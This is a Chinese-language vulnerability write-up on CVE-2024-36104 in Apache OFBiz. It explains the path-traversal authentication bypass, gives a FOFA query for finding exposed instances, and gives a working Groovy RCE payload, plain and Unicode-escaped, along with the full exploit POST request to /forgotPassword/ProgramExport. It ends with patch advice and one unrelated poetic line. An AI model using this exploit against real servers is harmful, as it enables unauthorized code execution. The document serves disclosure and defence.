漏洞概述
Apache OFBiz是一款基于Java的企业资源计划(ERP)系统,广泛应用于电子商务领域。2024年6月披露的CVE-2024-36104漏洞允许攻击者通过路径遍历绕过身份验证,并利用Groovy脚本执行接口实现远程代码执行(RCE)。该漏洞影响Apache OFBiz 18.12.14之前的版本
漏洞影响版本
- 受影响版本:Apache OFBiz < 18.12.14
- FOFA搜索语法:
app="Apache_OFBiz"
漏洞原理分析
Apache OFBiz的请求路由机制设计缺陷
1. OFBiz的请求路由逻辑
Apache OFBiz使用ControlServlet和ControlFilter处理请求路径,其路由规则如下:
- 默认情况下,请求路径会被解析为:
/webtools/control/<endpoint>,其中<endpoint>对应controller.xml中定义的接口。 - 关键问题:OFBiz的路径解析逻辑未严格校验路径层级,导致以下两种请求会被视为等效:
- 合法路径:
/webtools/control/ProgramExport - 嵌套路径:
/webtools/control/forgotPassword/ProgramExport
- 合法路径:
2. 漏洞触发的根本原因
(1)接口权限控制失效
forgotPassword是公开接口(无需认证),而ProgramExport是需认证的高危接口。- 由于路由逻辑缺陷,当用户访问
/forgotPassword/ProgramExport时:- 权限检查:系统首先检查
forgotPassword的权限(允许访问)。 - 路由映射:后续路径
ProgramExport被错误地当作子接口处理,绕过了对ProgramExport本身的权限校验。
- 权限检查:系统首先检查
(2)路径遍历的“简化版”
- 漏洞利用中使用的
%2e(.的URL编码)是显式的路径遍历(/forgotPassword/%2e/%2e/ProgramExport等价于/ProgramExport)。 - /webtools/control/forgotPassword;/ProgramExport
- 但直接访问
/forgotPassword/ProgramExport能成功,是因为OFBiz的路由逻辑自动忽略了中间路径,本质上与路径遍历效果相同。
3.官方修复方式验证
在Apache OFBiz 18.12.14版本中,官方通过以下方式修复:
- 严格路径校验:要求请求路径必须精确匹配
controller.xml中定义的接口,禁止多级路径嵌套。 - 显式权限控制:对
ProgramExport等敏感接口强制二次鉴权。
漏洞复现步骤
1、访问https://ip:8443/accounting
非本地 localhost 启动,修改请求体Host为localhost才能正常访问
2、请求/webtools/control/forgotPassword/ProgramExport接口,执行代码
-- groovy
throw new Exception('cat /flag'.execute().text);
-- unicode
\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
POST /webtools/control/forgotPassword/ProgramExport HTTP/1.1
Host: localhost:36646
Cookie: JSESSIONID=2A2143A74051B80F86479CE4543B034E.jvm1; OFBiz.Visitor=10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 OpenWave/93.4.3797.32
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Google Chrome";v="125", "Chromium";v="125", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Priority: u=0, i
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 306
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
修复建议
- 官方补丁:升级至Apache OFBiz 18.12.14或更高版本
- 临时缓解措施:
- 禁用
webtools模块的非必要接口。 - 配置Web应用防火墙(WAF)拦截包含
%2e或;的恶意请求。
- 禁用
- 输入过滤:对
groovyProgram参数实施白名单校验,禁止异常字符。
总结
CVE-2024-36104暴露了Apache OFBiz在路径处理和接口权限设计上的严重缺陷。通过本次复现可看出,攻击者仅需构造简单请求即可实现未授权RCE,威胁等级极高。企业需及时修复漏洞,并加强对外部组件的安全审计。
梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。